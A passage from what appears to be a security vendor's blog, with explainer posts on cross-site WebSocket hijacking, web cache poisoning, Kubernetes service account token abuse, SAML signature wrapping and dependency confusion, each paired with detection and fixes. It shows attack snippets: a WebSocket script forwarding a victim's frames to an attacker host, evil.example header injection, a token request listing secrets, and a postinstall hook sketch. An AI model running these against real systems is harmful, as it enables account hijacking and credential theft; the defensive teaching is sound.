        body: event.data
      });
    };
    
    ws.onopen = () => {
      // And can send messages as the victim
      ws.send(JSON.stringify({ type: "say", text: "transfer approved" }));
    };

    Because the browser attaches the victim’s cookie to that handshake, the server treats the connection as the logged in user. And because there is no CORS style read restriction on an open WebSocket, the attacker’s page can read every frame the server sends and write frames back.

    Cross site WebSocket hijacking is the CSRF of WebSockets. The browser sends your session, the server trusts it, and the only thing that should have stopped the request, an origin check or a token, was never there.

    Why this is the CSRF of WebSockets

    If you know CSRF, you know the shape of this bug. In a classic CSRF the attacker’s page makes the browser send a state changing request to a site you are logged in to, and the browser attaches your cookie automatically. The defense is a CSRF token: a secret the attacker cannot read or guess, required on the request.

    The WebSocket handshake has the same weakness, and most handshakes have no token at all. CSRF on a form submit is a one way write. Cross site WebSocket hijacking opens a two way channel, so the attacker can both send actions as you and read the replies. It is CSRF plus a live data leak.

    A concrete example

    Say the app is a trading dashboard. The front end opens wss://trade.example.com/stream to receive live order updates and to place orders, and the server authenticates the socket purely from the session cookie. An attacker sends the user a link to a normal looking page. When it loads, its script opens the same WebSocket URL, the browser sends the user’s cookie, and the server upgrades the connection. Now the attacker’s page receives the live order feed, including balances and positions, and forwards each message to an attacker server. It can also send { "action": "place_order", ... } frames that the server runs as the victim. The user sees nothing: no popup, no redirect, just a page that opened a socket in the background.

    How to detect it

    You can find this without guesswork. Look at how the handshake is checked, not at what the app does after.

    • Find the WebSocket endpoints. Look for wss:// or ws:// URLs in the front end, and server routes that handle an Upgrade: websocket request.
    • Replay the handshake with a foreign Origin. Resend a working handshake with the cookie kept but Origin changed to https://evil.example. If it still upgrades and you receive authenticated messages, the server is not validating the origin, and a cross origin read is a confirmed finding.
    • Check for a token. See whether the handshake carries any unguessable value the attacker could not get, such as a CSRF token. If the only credential is the cookie, the endpoint is exposed.

    How to fix it

    No single header is enough on its own, so use more than one of these.

    • Validate the Origin header on the server. During the upgrade, check that Origin is in an allow list of your own domains and reject anything else. The browser sets Origin and a page cannot forge it, so this stops the cross origin handshake. Do not match with a loose substring like endsWith("example.com"), since app.example.com.evil.com would pass.
    • Require a CSRF style token in the handshake. Issue a per session token the attacker’s page cannot read, and require it as a query parameter or first message before the socket is authenticated. This is the same defense that protects forms, applied to the upgrade request.
    • Do not rely on the cookie alone. Authenticate the connection with a per connection token, such as a short lived ticket the client fetches over an authenticated HTTP call and passes when opening the socket. A cookie is sent automatically by the browser. A token in the URL is not, so the cross origin page never has it.
    • Set SameSite on the session cookie. A cookie marked SameSite=Lax or SameSite=Strict is not attached to requests started from another site, which removes the credential the attack depends on. Treat it as an extra layer, not the only one, since cookie behavior varies across setups.

    Here is the origin check at the upgrade:

    const ALLOWED = new Set(["https://app.example.com"]);
    
    server.on("upgrade", (req, socket, head) => {
      if (!ALLOWED.has(req.headers.origin)) {
        socket.write("HTTP/1.1 403 Forbidden\r\n\r\n");
        socket.destroy();
        return;
      }
      // continue the WebSocket handshake
    });

    The assumption that breaks

    Strip away the frames and one assumption is left. The server assumes a handshake carrying a valid session cookie came from its own front end. That holds only when something proves the origin, an origin check or a token the attacker cannot get. The moment the only credential is a cookie the browser attaches for you, any page can open the socket and speak as you. This is the kind of bug you find by asking what a connection trusts and whether anything outside the app can supply it. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about what a request really proves, rather than matching known bad strings, is what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

    Frequently asked questions

    What is cross site WebSocket hijacking?

    It is an attack where a malicious page opens a WebSocket to an app you are logged in to and speaks as you. The WebSocket handshake is an HTTP upgrade request, so the browser attaches your session cookie to it automatically. If the server authenticates the connection from that cookie alone and does not check the origin, the attacker’s page can read every message the server sends and send messages back as you. It is a two way channel, so it can both leak your data and trigger actions on your account.

    Why does the Same Origin Policy not block it?

    The Same Origin Policy mainly stops a page from reading a cross origin HTTP response unless CORS allows it. WebSockets are not subject to that read restriction. The WebSocket constructor can open a connection to any host, the browser still attaches the victim’s cookie to the handshake, and once the socket is open the attacker’s page can read and write frames freely. The protection that blocks cross origin reads over HTTP simply is not applied to an open WebSocket.

    How is cross site WebSocket hijacking related to CSRF?

    It is the same root cause as CSRF. The attacker’s page makes the browser send a cookie carrying request to a site you are logged in to, and the server trusts the cookie. The defense is also the same: a token the attacker cannot read or guess. The difference is that most WebSocket handshakes carry no token at all, and a WebSocket is two way, so the attacker can read the replies as well as send actions. CSRF is a one way write, while this is CSRF plus a live data leak.

    How do you prevent cross site WebSocket hijacking?

    Use more than one defense. Validate the Origin header on the server during the upgrade against an allow list of your own domains, and reject anything else. Require a CSRF style token or a short lived per connection token in the handshake so the cross origin page cannot supply it, and do not rely on the cookie alone. Mark the session cookie SameSite=Lax or SameSite=Strict so it is not attached to requests started from another site. Avoid loose origin matching like a substring check, since app.example.com.evil.com would pass.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: Cookie Security Auditor lets you paste a Set-Cookie header and see which flags are missing. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • What is Web Cache Poisoning? How One Request Hits Many Users

    What is Web Cache Poisoning? How One Request Hits Many Users

    A cache sits in front of a web app to make pages fast: it stores a response once and hands the same copy to everyone who asks for the same thing. Web cache poisoning abuses that sharing. An attacker sends one carefully shaped request that makes the origin return a harmful response, gets the cache to store it under a normal key, and then every later visitor who hits that key is served the attacker’s version. One request, many victims.

    Caches, cache keys, and unkeyed inputs

    A cache decides whether two requests are the same by building a cache key. Most caches build that key from a small set of fields: the method, the host, the path, and sometimes the query string. If a later request produces the same key, the cache replies from storage instead of asking the origin again.

    # Two requests the cache treats as identical (same key)
    GET /promo HTTP/1.1
    Host: notes.acme.example
    
    # Cache key (simplified): GET + notes.acme.example + /promo
    

    The trap is everything the cache leaves out of the key. Headers like X-Forwarded-Host, X-Forwarded-Scheme, cookies, or a custom header are usually not part of the key. These are unkeyed inputs. If an unkeyed input changes the response but does not change the key, the cache will happily store a response that depends on a value it ignored. That gap is the whole attack.

    If an input changes the response but not the cache key, the cache will store one person’s response and serve it to the next person.

    How this differs from web cache deception

    These two bugs sound alike and are not. In web cache deception, the attacker tricks the cache into storing a victim’s private response (a profile page, an account API reply) so the attacker can read it. The harm flows toward the attacker. Web cache poisoning is the reverse: the attacker plants a harmful response in the cache so it is served to other users. The harm flows outward, from one attacker to a crowd.

    How a web cache poisoning attack works

    Take Acme Notes, a typical SaaS app at notes.acme.example behind a CDN. The origin builds some absolute URLs using the incoming X-Forwarded-Host header, so it can run behind different front ends. The CDN does not include that header in its cache key. That is the unkeyed input.

    The attacker probes by sending a value they can recognize later:

    GET /promo HTTP/1.1
    Host: notes.acme.example
    X-Forwarded-Host: evil.example
    
    HTTP/1.1 200 OK
    X-Cache: miss
    Cache-Control: public, max-age=300
    ...
    <link rel="canonical" href="https://evil.example/promo">
    <script src="https://evil.example/static/app.js"></script>
    

    The origin reflected evil.example into the page and told the cache to keep the response for 300 seconds. Because the header was unkeyed, the cache stored this poisoned copy under the plain key for /promo. Now a normal visitor asks for the page with no special headers at all:

    GET /promo HTTP/1.1
    Host: notes.acme.example
    
    HTTP/1.1 200 OK
    X-Cache: hit
    Age: 42
    ...
    <script src="https://evil.example/static/app.js"></script>
    

    The victim never sent the malicious header. They get the poisoned response because the cache is serving the stored copy. The X-Cache: hit and the rising Age value confirm the response came from cache, not the origin.

    What an attacker can do with it

    • Stored XSS through a reflected unkeyed header. If the origin reflects an unkeyed header into HTML without encoding it, the attacker poisons the page with a script tag or event handler. Unlike normal reflected XSS, the victim does not need to click a crafted link. They just load the page, and the cache feeds them the script.
    • Redirect to an attacker site. When the origin uses an unkeyed header to build a redirect or a canonical URL, the poisoned response can point users to evil.example. This overlaps with host header injection, since both abuse the app trusting a host value it should not.
    • Denial of service through a poisoned error. An oversized header or an unkeyed value that triggers a 400 or 500 can get the error response cached under a normal key. Every visitor then receives the cached error until it expires, taking the page down without touching the origin.

    How to detect web cache poisoning

    Detection has two halves: find the unkeyed inputs, then watch the cache react.

    • Hunt for unkeyed inputs. Against an app you own, add one candidate header at a time (X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-For, X-Host, and any custom header the app reads) with a unique marker value. If the marker shows up in the response body, headers, or a redirect, that header influences the output.
    • Confirm it is unkeyed. Send the same request twice, once with the marker and once without, and compare cache behavior. Watch X-Cache (hit or miss), Age, and any Vary header. If a clean request later returns your marker with X-Cache: hit, the response was cached under a key that ignored your header. That is a confirmed poison path.
    • Read the cache control signals. A Vary header tells you which request headers the cache does include in the key. If a header that changes the response is missing from Vary, it is a candidate. Use a cache buster like /promo?cb=12345 in tests so you never poison a real shared key while probing.

    How to prevent web cache poisoning

    • Do not reflect unkeyed input into cached responses. If a header is not in the cache key, treat its value as untrusted and keep it out of anything the cache will store: HTML, redirects, canonical tags, and link or script sources.
    • Key on or strip security relevant headers. If the app genuinely needs X-Forwarded-Host or similar, add it to the cache key with Vary or your CDN’s key settings so different values cache separately. If the app does not need it, strip the header at the edge before it ever reaches the origin.
    • Cache only truly static content. Pin caching to assets that do not depend on request specific input, like images, CSS, and versioned scripts. Mark dynamic pages Cache-Control: no-store or private so they are never shared.
    • Scope caching carefully. Avoid a broad rule that caches every 200 response. Decide per route what is cacheable, and never let error responses for one user persist under a shared key.

    Why web cache poisoning rewards understanding the app

    You do not find this bug by firing a fixed payload list at a target. You find it by understanding which headers the origin reads, which of them the cache ignores, and whether a value one user sends can land in a response another user receives. The flaw is an assumption: that every input affecting the response is also part of the cache key. Test that assumption directly and the gap shows itself.

    That is the kind of bug an autonomous researcher that tests an app’s assumptions is built to surface, since it lives in the seam between two systems rather than in a single known payload. You can read more about that approach on our about page.

    Frequently asked questions

    What is web cache poisoning?

    It is an attack where someone sends a crafted request that makes the origin server return a harmful response, then gets a shared cache to store that response under a normal cache key. Every later visitor who hits the same key is served the poisoned copy. The trick relies on an unkeyed input, usually a header like X-Forwarded-Host, that changes the response but is left out of the cache key.

    How is web cache poisoning different from web cache deception?

    They move harm in opposite directions. In web cache deception, the attacker tricks the cache into storing a victim’s private response so the attacker can read it, so harm flows toward the attacker. In web cache poisoning, the attacker plants a harmful response in the cache so it is served to many other users, so harm flows outward from one attacker to a crowd.

    What is an unkeyed input?

    A cache key is built from a small set of request fields, usually the method, host, path, and sometimes the query string. Any input the cache leaves out of the key is unkeyed: common examples are X-Forwarded-Host, X-Forwarded-Scheme, cookies, and custom headers. If an unkeyed input changes the response, the cache can store a response shaped by a value it ignored, which is the gap web cache poisoning exploits.

    How do you detect and prevent web cache poisoning?

    To detect it, add one candidate header at a time with a unique marker against an app you own, see if the marker is reflected, then check whether a clean request later returns it with X-Cache: hit and a rising Age. To prevent it, do not reflect unkeyed input into cached responses, add security relevant headers to the cache key or strip them at the edge, cache only truly static content, and scope caching per route instead of caching every 200 response.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Kubernetes service account token abuse: from one pod to cluster admin

    Kubernetes service account token abuse: from one pod to cluster admin

    Every pod in a default Kubernetes cluster gets handed a small file it never asked for. That file is a Kubernetes service account token, and it sits at a fixed path inside the container, ready for any process that can read the filesystem. The token lets the pod talk to the API server, which is fine when the pod needs that. The trouble starts when an attacker who lands code execution in one pod, or who can make that pod issue requests for them, picks the token up and starts walking toward cluster admin. This post takes that walk apart, from the mounted file to the RBAC rights that turn one compromised pod into a foothold across the whole cluster.

    Why a pod has a Kubernetes service account token at all

    When you create a pod and say nothing about identity, Kubernetes assigns it the default service account in its namespace and mounts that account’s token into the container. Look inside a running pod for our invented cluster at acme.example and you find this:

    /var/run/secrets/kubernetes.io/serviceaccount/token
    /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
    /var/run/secrets/kubernetes.io/serviceaccount/namespace

    The token file holds a signed JSON Web Token, and ca.crt lets the pod trust the API server. The token is a bearer credential, so whoever holds it is treated as the account that owns it, with no second factor. This is reasonable when a pod has a real reason to call the API, for example a controller that watches config maps. The problem is that many pods get a token they never use, because auto mount is on by default, and a credential nobody needs is still one to steal.

    From one compromised pod to the API server

    An attacker reaches the token in one of two ways. The loud way is code execution: an application bug or a vulnerable dependency gives them a shell, and reading a file is then trivial. The quieter way is server side request forgery, where the app is tricked into making an HTTP request to a destination the attacker chooses. We cover that in our writeup on SSRF, and a third route in container escape. Each ends the same way: the token leaves the pod.

    Inside the cluster the API server is reachable at a stable endpoint, exposed through the kubernetes service and environment variables every pod receives, for example KUBERNETES_SERVICE_HOST=10.0.0.1 on port 443. With the token and that address, the request is simple. The token rides in the Authorization header:

    GET https://10.0.0.1:443/api/v1/namespaces/acme-prod/secrets
    Authorization: Bearer <contents of the token file>

    If the service account may list secrets in that namespace, the API server answers honestly. It does not care that the request came from a process the attacker now controls. The token is valid, so the call is authorized.

    A mounted token is not a secret the way a password is a secret. It is a working key to the API server, sitting in plain sight inside every pod that was told to carry one.

    How excessive RBAC turns a token into escalation

    A stolen token is only as useful as the rights attached to it. Role based access control, or RBAC, decides what each service account may do, and escalation lives in how generous those rules are. The first move an attacker makes is to ask the API server what the token can do:

    kubectl auth can-i --list

    That returns the verbs and resources the account holds. A few common over grants and what each buys an attacker:

    • list or get on secrets reads every secret in scope, often including database passwords, API keys, and other service account tokens. One read can hand over credentials that reach far past the cluster.
    • create on pods lets the attacker launch a pod they design. One that mounts the host filesystem or runs as privileged is a direct route off the node.
    • create on rolebindings or clusterrolebindings lets them bind a stronger role to an account they control. Bind cluster-admin and the walk is over.
    • create on pods/exec lets them run commands inside other running pods, including ones in other namespaces, spreading sideways.

    The worst case is an application service account carrying a wildcard verb on a wildcard resource, or a binding straight to cluster-admin. Then the difference between a contained incident and a full takeover is one stolen token. The token did not gain new rights. It was always a key to whatever RBAC allowed.

    The metadata and SSRF angle on managed clusters

    On managed clusters there is a second prize. A pod an attacker can steer can often reach the cloud metadata endpoint at the link local address 169.254.169.254, the same endpoint we take apart in our post on the instance metadata service. If the node’s identity is over permissioned, the credentials parked there extend the blast radius into the cloud account. An attacker probing SSRF tries the in cluster API address and the metadata IP in many encoded forms, hoping one slips past a filter. A free in browser tool, the SSRF IP and URL normalizer, shows how those internal addresses can be rewritten, which helps a defender see what a blocklist must catch.

    Detecting and preventing the abuse

    The fixes stack, and none of them depend on catching every application bug first. Each control shrinks either the chance a token leaks or the damage it does once it has.

    Stop mounting tokens that nobody uses

    If a pod never calls the API server, it has no reason to carry a token. Turn auto mount off, on the service account or pod spec, so the file is never there to steal:

    automountServiceAccountToken: false

    This is the highest value single change for the many workloads that never talk to Kubernetes. A token never mounted cannot be read or leaked at all.

    Practice least privilege in RBAC

    Give each service account only the verbs and resources its job requires, scoped to one namespace where possible. No wildcard verbs, no wildcard resources, and no binding an application account to cluster-admin. Audit the bindings you have, because clusters accumulate broad grants as people copy an example that asked for too much. Read access to secrets deserves a hard look, since one list call drains a namespace.

    Use bound, short lived tokens and segment the cluster

    Modern Kubernetes issues projected tokens bound to a specific pod that expire on a short clock, so a stolen copy stops working on its own. Prefer those over old style tokens that never expired. Put sensitive workloads in their own namespaces so a foothold in one does not see another’s secrets. Apply a network policy that blocks pod access to the metadata endpoint and restricts egress, so even a steered pod cannot reach 169.254.169.254. The CNCF and the joint NSA and CISA Kubernetes hardening guidance treat these controls as a baseline.

    The assumption that breaks

    Strip away the JSON and the headers and what is left is one assumption. Kubernetes mounts a Kubernetes service account token because it assumes the only thing reading that file is the pod’s own honest code. An application bug breaks that: the moment an attacker can run code or forge a request inside the pod, they can read anything the pod can read and call anything it can call. The boundary everyone pictured, the wall around the container, was not the one that mattered. The one that mattered ran through an RBAC rule that granted too much. You find that kind of gap by asking what each component trusts and why, not by scanning for a known bad string. There are more teardowns like this on the blog.

    This is the class of bug an autonomous researcher that tests an application’s assumptions is built to find. UnboundCompute is early and still being built, so we will say only that it does the honest work of mapping trust. Read more on our about page.

    Frequently asked questions

    Where does Kubernetes mount the service account token inside a pod?

    By default the token is projected into the container at /var/run/secrets/kubernetes.io/serviceaccount/token, alongside ca.crt and a namespace file. It is a signed bearer token, so any process that can read that path can present it to the API server and be treated as the service account that owns it.

    How does a stolen service account token lead to escalation?

    The token only carries the rights granted to its account through RBAC. If that account has over broad rules such as list on secrets, create on pods, or create on rolebindings, an attacker can read credentials, launch a privileged pod, or bind a stronger role. A binding to cluster-admin turns one stolen token into full cluster control. See the Kubernetes RBAC docs at https://kubernetes.io/docs/reference/access-authn-authz/rbac/.

    How do I stop pods from carrying a token they do not need?

    Set automountServiceAccountToken to false on the service account or the pod spec for any workload that never calls the API server. A token that was never mounted cannot be read by a shell or leaked through SSRF, which removes the credential from the many pods that have no reason to talk to Kubernetes at all.

    Can SSRF in a pod reach the cloud metadata endpoint?

    Yes. A pod an attacker can steer through SSRF can often reach both the in cluster API server and the cloud metadata endpoint at 169.254.169.254. If the node identity is over permissioned, the credentials there extend the reach from the cluster into the cloud account. Block the metadata IP with a network policy and restrict egress.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • SAML Signature Wrapping Explained: When a Valid Signature Lies

    SAML Signature Wrapping Explained: When a Valid Signature Lies

    SAML signature wrapping is an attack on single sign on that turns a valid signature into a lie about who you are. The identity provider signs an XML assertion that says “this user is alice.” The attacker captures that signed assertion and rearranges the document so the signature still checks out over the original element, while the service provider reads a second, injected assertion that says “this user is admin.” The signature is valid. The thing the application uses is not the thing that was signed. This post explains SAML signature wrapping from the ground up, shows the shape of a wrapped document, and lists the defenses that actually close it.

    How SAML single sign on works

    SAML is the protocol that lets you log in to one place and reach many apps without typing a password at each one. Three parties take part. The user in a browser, the service provider (the app you want to use, call it acme.example), and the identity provider (the trusted login system that vouches for who you are).

    The flow is short. You hit acme.example. It does not know you, so it bounces your browser to the identity provider. You authenticate there. The identity provider builds an XML document called an assertion that states your identity and signs it with an XML digital signature. Your browser carries that signed assertion back to acme.example. The service provider checks the signature, sees it was issued by a provider it trusts, and logs you in as whoever the assertion names.

    A trimmed assertion looks like this. The Assertion element carries an ID, and the Signature block points at that ID with a Reference, saying “I cover the element whose id is _abc123.”

    <Response>
      <Assertion ID="_abc123">
        <Subject><NameID>alice@acme.example</NameID></Subject>
        <Signature>
          <Reference URI="#_abc123"/>
          <SignatureValue>...</SignatureValue>
        </Signature>
      </Assertion>
    </Response>

    Why a valid signature is not enough

    Here is the gap that SAML signature wrapping lives in. Two separate pieces of code look at this document, and nothing forces them to agree on which element they are looking at.

    The first piece is the signature verifier. It reads the Reference URI="#_abc123", walks the tree to find the element with that id, runs the math, and reports “the signature is valid.” The second piece is the business logic that pulls out the identity. It often does something looser, like “find the first Assertion under Response and read its NameID.” If those two pieces resolve to different elements, you have a problem. The verifier blesses one node. The application trusts a different node. Neither one notices.

    A valid signature only proves that some element in the document was signed. It does not prove that the element you read is that element.

    This is the same family of trust mistake we cover in authentication vs authorization, where proving who someone is gets quietly confused with deciding what they may do. It also rhymes with XXE injection, another case where an XML parser does more, or reads more, than the developer assumed. The XML is trusted as plain data when it is really a set of instructions.

    The wrapping trick at a structural level

    The attacker starts with a real, validly signed assertion captured during their own legitimate login. They cannot forge the signature, and they do not try. Instead they rebuild the document around it.

    The move has two parts. First, take the signed Assertion with id _abc123 and tuck it somewhere the signature verifier will still find it by id, but the business logic will skip. A common hiding spot is inside a wrapper element, or deeper in the tree. Second, inject a brand new Assertion, unsigned, carrying the attacker’s chosen identity, and place it where the business logic looks first.

    The shape of a wrapped document, with placeholder elements, looks like this. The signed original is moved aside. The injected one sits up front.

    <Response>
    
      <!-- injected, UNSIGNED, attacker controlled -->
      <Assertion ID="_evil999">
        <Subject><NameID>admin@acme.example</NameID></Subject>
      </Assertion>
    
      <!-- relocated original, still validly signed -->
      <Wrapper>
        <Assertion ID="_abc123">
          <Subject><NameID>alice@acme.example</NameID></Subject>
          <Signature>
            <Reference URI="#_abc123"/>
            <SignatureValue>...unchanged...</SignatureValue>
          </Signature>
        </Assertion>
      </Wrapper>
    
    </Response>

    Now read it the way each side reads it. The verifier follows URI="#_abc123", finds the relocated original inside Wrapper, checks the math over alice’s assertion, and says “valid.” The business logic asks for the first Assertion under Response, lands on _evil999, and reads admin@acme.example. The result is authentication bypass or full impersonation, with a signature that genuinely validates.

    There are many variants. The signed element can be hidden, duplicated, or nested at a different depth, and the injected element can be placed before, after, or as a sibling, depending on exactly how the consuming code selects its node. The principle behind all of them is the same. XML signature wrapping is a well studied class from academic research, and the original work catalogued a whole tree of these rearrangements. The lesson held up. If the verifier and the consumer can disagree about which element is in play, an attacker will engineer that disagreement.

    Detecting and preventing SAML signature wrapping

    The fix is one idea stated several ways. The element you consume must be exactly the element that was signed. Not an element with the same name. Not the first one you find. The same node, resolved by the same reference the signature used.

    • Bind consumption to the signed node. After the signature verifies, hold a reference to the precise element it covered, and read your identity only from that node. Do not re run a fresh “find the first assertion” query against the document.
    • Reject documents with more than one assertion. A valid login response carries one assertion. If you see two, do not try to pick the right one. Refuse the whole document.
    • Mark and check the signed node. Some libraries let you tag the verified element so later code can assert it is reading the marked node, not a look alike sitting elsewhere in the tree.
    • Avoid id based reference ambiguity. Wrapping leans on the verifier resolving an id to one node while the parser resolves the same name to another. Validate against a strict schema, reject duplicate ids, and do not let two elements answer to the same identifier.
    • Use a hardened, well maintained SAML library. This is not a parser to hand roll. Mature libraries have absorbed years of wrapping reports and apply the position checks for you. Keep them patched.
    • Run schema validation before trusting structure. A schema that forbids stray wrapper elements and extra assertions removes many of the hiding spots wrapping needs.

    For more reading on the trust boundary side of this, see our work under access control. Wrapping is ultimately an access control failure dressed up as a cryptography success.

    Why this slips past review

    The dangerous part of SAML signature wrapping is that the signature check passes. Logs show a valid signature from a trusted issuer. The login works for real users every day. The flaw only appears when someone sends a document built so that the verifier and the consumer look at different elements, and that is a question no one usually writes down. It is exactly the kind of assumption an autonomous researcher that tests assumptions, rather than known payloads, is built to probe, by asking whether “the signature is valid” and “the identity I am using was signed” are truly the same claim. You can read more about our approach on the about page.

    Frequently asked questions

    What is SAML signature wrapping?

    SAML signature wrapping is an attack where an attacker takes a validly signed SAML assertion and rearranges the XML so the signature still validates over the original element while the service provider reads a second, injected assertion that carries the attacker’s chosen identity. The signature is genuinely valid, but the element the application uses is not the element that was signed, which leads to authentication bypass or impersonation.

    Why does a valid signature not stop the attack?

    Because two different pieces of code look at the document. The signature verifier resolves a reference, usually an id, and confirms the math over one element. The business logic separately picks an element to read identity from, often by position or element name. If those two resolve to different nodes, the verifier blesses one assertion while the application trusts another. The signature proves only that some element was signed, not that the element you read is that element.

    How do you prevent SAML signature wrapping?

    Bind consumption to the exact node that was signed, resolving identity only from the element the signature covered rather than re running a fresh search. Reject any response that contains more than one assertion, reject duplicate ids, and validate against a strict schema. Use a hardened, well maintained SAML library instead of hand rolling verification, and keep it patched. See the OWASP SAML Security Cheat Sheet for implementation guidance: https://cheatsheetseries.owasp.org/cheatsheets/SAML_Security_Cheat_Sheet.html

    Is XML signature wrapping a new or theoretical problem?

    No. XML signature wrapping is a well studied class first catalogued in academic research, and it maps to the broader weakness of improper verification of a cryptographic signature, tracked as CWE-347 (https://cwe.mitre.org/data/definitions/347.html). The general lesson, that a verifier and a consumer must agree on exactly which element is in play, applies to SAML and to other signed XML protocols.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Dependency Confusion Attack Explained

    Dependency Confusion Attack Explained

    A dependency confusion attack happens when your package manager looks in two places for the same package name, a private registry you control and a public one anyone can publish to, and an attacker plants a package with that exact name on the public side. The resolver sees a higher version number out in public, decides it is newer, and pulls the attacker’s code instead of yours. The install hook then runs on a developer laptop or a build server before anyone reads a line of it.

    How a dependency confusion attack actually works

    Many companies build internal libraries. Say a fictional company, acme.example, keeps a package called acme-billing-utils in a private registry. Developers add it to a manifest and their package manager fetches it. So far nothing is wrong.

    The trouble starts with how the client resolves names. If the same client is also configured to check the public registry, then for any name it cannot find privately, or sometimes for every name, it asks the public registry too. The attacker registers acme-billing-utils on the public registry and gives it version 99.0.0. Your real internal copy is on version 1.4.2. When the resolver compares the two, the public version wins on precedence, and the build pulls the wrong one.

    The attacker never breaks into your registry. They wait outside it, publish a higher version of a name you already trust, and let your own resolver hand them the build.

    Version precedence is the lever

    Package managers treat a higher version as the one you want. That rule is sensible most of the time, since you usually want the newest fix. It turns against you the moment two registries can answer for one name. The attacker does not need to guess your version. They publish something absurd like 99.0.0, and the comparison falls their way every time.

    Install hooks run code, not just copy files

    Installing a package is not only a download. Many ecosystems run a script at install time. In the npm world a postinstall script runs automatically. In Python, code in setup.py executes when the package is built or installed. That script runs with the same rights as the person or process doing the install. On a developer laptop that means access to local files, environment variables, and tokens. On a CI build server it can mean access to deploy keys and signing material. This is the same idea as command injection, since an install hook runs arbitrary commands the moment the package lands.

    A tiny illustrative example

    Here is the shape of the problem, written for defenders. Nothing below is a working payload. It shows how a manifest and a registry view line up so the wrong package gets chosen.

    # package.json on a developer machine at acme.example
    {
      "name": "acme-internal-app",
      "dependencies": {
        "acme-billing-utils": "^1.4.0"
      }
    }
    
    # What the private registry holds
    acme-billing-utils  1.4.2   (your real internal package)
    
    # What the attacker publishes to the PUBLIC registry
    acme-billing-utils  99.0.0  (same name, much higher version)
    
    # A package can declare an install hook that runs automatically
    {
      "name": "acme-billing-utils",
      "version": "99.0.0",
      "scripts": {
        "postinstall": "node ./collect.js"   # runs at install time
      }
    }
    

    The resolver compares 1.4.2 against 99.0.0, picks the higher one, downloads it from the public registry, and runs postinstall. The collection script in this sketch is left empty on purpose. The point is that arbitrary code ran before any review, on whichever machine did the install.

    Where it bites

    Two places take the damage first.

    • CI build servers. These run installs constantly, often with broad permissions and long lived credentials. A build agent that pulls a poisoned package can leak deploy keys, cloud tokens, or source for every project it touches.
    • Developer laptops. A developer running an install brings the attacker’s code onto a machine that holds SSH keys, cloud sessions, and access to internal services. One install can become a foothold inside the network.

    The public research that named this class generically appeared in 2021, when a researcher published internal package names for several organisations to the public registries and watched their builds reach out and run the planted code. We avoid restating specific company names or counts, since the point stands without them, the names were real and the technique worked widely.

    How to detect it

    • Audit which names resolve publicly. List every internal package name, then check whether that name returns anything from the public registry. A private name that resolves in public is a name an attacker can claim.
    • Watch for unexpected high versions. An internal package on 1.4.2 that suddenly offers 99.0.0 from a public source is a clear warning. Diff resolved versions against what your private registry actually serves.
    • Monitor install hooks. Log when postinstall or setup.py code runs during a build, and flag scripts that reach the network or read credentials. A package that never needed a hook before and now ships one deserves a look.
    • Inspect lockfiles. Check the resolved source URL for each dependency. If an internal name resolved against the public registry, the lockfile records it.

    How to prevent it

    • Claim your internal names in public. Reserve every internal package name on the public registries with an empty placeholder you control. An attacker cannot publish a name you already hold.
    • Scope packages to a namespace. Publish internal packages under an organisation scope, for example @acme/billing-utils, and bind that scope to your private registry only. A scoped name will not silently resolve elsewhere.
    • Pin and lock with integrity hashes. Commit a lockfile, pin exact versions, and verify integrity hashes so a swapped artifact fails the check.
    • Point the client at one trusted source. Configure a single trusted registry, or set a per scope registry, so the client never falls back to the public registry for internal names.
    • Disable or vet install scripts. Turn off automatic install scripts where you can, and review the ones you must keep. Many builds run fine with scripts off.
    • Use an internal mirror or proxy. Route every install through a proxy that serves your private packages first and only fetches vetted public ones, so the resolver never faces an open choice between two registries.

    This bug shares a root cause with the rest of the injection and input family, untrusted material crossing into a place that trusts it. The install hook turns a naming gap into command execution, which is why the fix lives in both resolution config and script policy.

    Why this rewards understanding the build, not a payload list

    A dependency confusion attack is not found by firing known payloads at a target. It depends on how one organisation configures its registries, which names live only in private, and whether the client can ever fall back to public. You find it by understanding what the build assumes about where a name resolves, then testing whether that assumption holds.

    That is the kind of assumption an autonomous researcher that tests how an app is meant to work is built to question. We are early and still building, so we make no promises here. If you want to see how that approach reads, our about page explains it.

    Frequently asked questions

    What is a dependency confusion attack?

    It is a software supply chain attack where a package manager checks both a private registry and a public one for the same package name. An attacker publishes a package with your internal name and a higher version number on the public registry. The resolver treats the higher version as newer and pulls the attacker’s code, whose install hook then runs on your developer machines or build servers.

    Why does the attacker’s package get chosen over the real one?

    Package managers treat a higher version as the one you want, which is usually correct. The attacker exploits that rule by publishing an absurd version such as 99.0.0 in public while your real internal package sits on a much lower version. When the client can answer for one name from two registries, the public copy wins on version precedence.

    How does the malicious code actually run?

    Installing a package is not only a download. Many ecosystems run a script at install time, such as an npm postinstall script or code inside a Python setup.py file. That script runs with the same rights as the user or build process doing the install, so it can read tokens, keys, and environment variables before anyone reviews the package.

    How do I prevent a dependency confusion attack?

    Claim your internal package names on the public registries so an attacker cannot register them, scope packages to an organisation namespace bound to your private registry, pin versions and verify integrity hashes in a committed lockfile, point the client at a single trusted registry or per scope registries, disable or vet install scripts, and route installs through an internal mirror. The CWE entry on improper control of code under supply chain compromise covers the wider class at https://cwe.mitre.org/data/definitions/1357.html.


    Put an autonomous researcher on your own systems

